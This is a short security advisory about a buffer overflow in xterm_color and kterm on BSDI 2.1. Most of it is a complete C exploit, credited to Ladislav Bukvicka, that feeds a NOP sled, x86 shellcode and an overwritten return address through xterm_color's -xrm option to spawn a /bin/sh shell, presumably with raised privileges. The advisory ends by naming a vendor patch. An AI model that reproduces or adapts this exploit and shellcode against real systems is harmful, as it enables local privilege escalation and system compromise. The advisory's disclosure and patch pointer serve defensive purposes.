COMMAND

    xterm_color/kterm

SYSTEMS AFFECTED

    BSDI 2.1 (older versions too?)

PROBLEM

    Ladislav  Bukvicka  posted  exploit  for  xterm_color/kterm.  This
    exploit is based  on exploit of  bug in Linux  - color_xterm which
    you may  find in  Linux sections  of Security  Bugware.   Below is
    exploit for xterm_color.   Exploit of kterm  is the same,  but you
    must rewrite paths.

    /*

    xterm_color buffer overflow exploit for BsDi ... tested on BsDi 2.1

                                                        pukvis
    */

    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>

    #define XTERM_COLOR_PATH "/usr/X11R6/bin/xterm_color"
    #define BUFFER_SIZE 1024
    #define DEFAULT_OFFSET 50

    #define NOP_SIZE 1
    char nop[] = "\x90";
    char shellcode[] =
      "\xeb\x23"
       "\x5e"
       "\x8d\x1e"
       "\x89\x5e\x0b"
       "\x31\xd2"
       "\x89\x56\x07"
       "\x89\x56\x0f"
       "\x89\x56\x14"
       "\x88\x56\x19"
       "\x31\xc0"
       "\xb0\x3b"
       "\x8d\x4e\x0b"
       "\x89\xca"
       "\x52"
       "\x51"
       "\x53"
       "\x50"
       "\xeb\x18"
       "\xe8\xd8\xff\xff\xff"
       "/bin/sh"
       "\x01\x01\x01\x01"
       "\x02\x02\x02\x02"
      "\x03\x03\x03\x03"
      "\x9a\x04\x04\x04\x04\x07\x04";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc,char **argv)
    {
       char *buff = NULL;
       unsigned long *addr_ptr = NULL;
       char *ptr = NULL;
       int i,OffSet = DEFAULT_OFFSET;

       if (argc>1) OffSet = atoi(argv[1]);

       buff = malloc(2048);
       if(!buff)
       {
          printf("mA1o pJaMJeti !!!\n");
          exit(0);
       }
       ptr = buff;

       for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
    i+=NOP_SIZE) {
            memcpy (ptr,nop,NOP_SIZE);
            ptr+=NOP_SIZE;
       }

       for(i=0;i < strlen(shellcode);i++)
          *(ptr++) = shellcode[i];

       addr_ptr = (long *)ptr;
       for(i=0;i < (8/4);i++)
          *(addr_ptr++) = get_sp() + OffSet;
       ptr = (char *)addr_ptr;
       *ptr = 0;
       (void) fprintf(stderr,
             "try if it goes - check your id\n");
        execl(XTERM_COLOR_PATH, "xterm_color", "-xrm",buff, NULL);
    }

SOLUTION

    The patch from BSDI which fixes security problems with X11 library
    on BSDI 2.1 has number U210-041.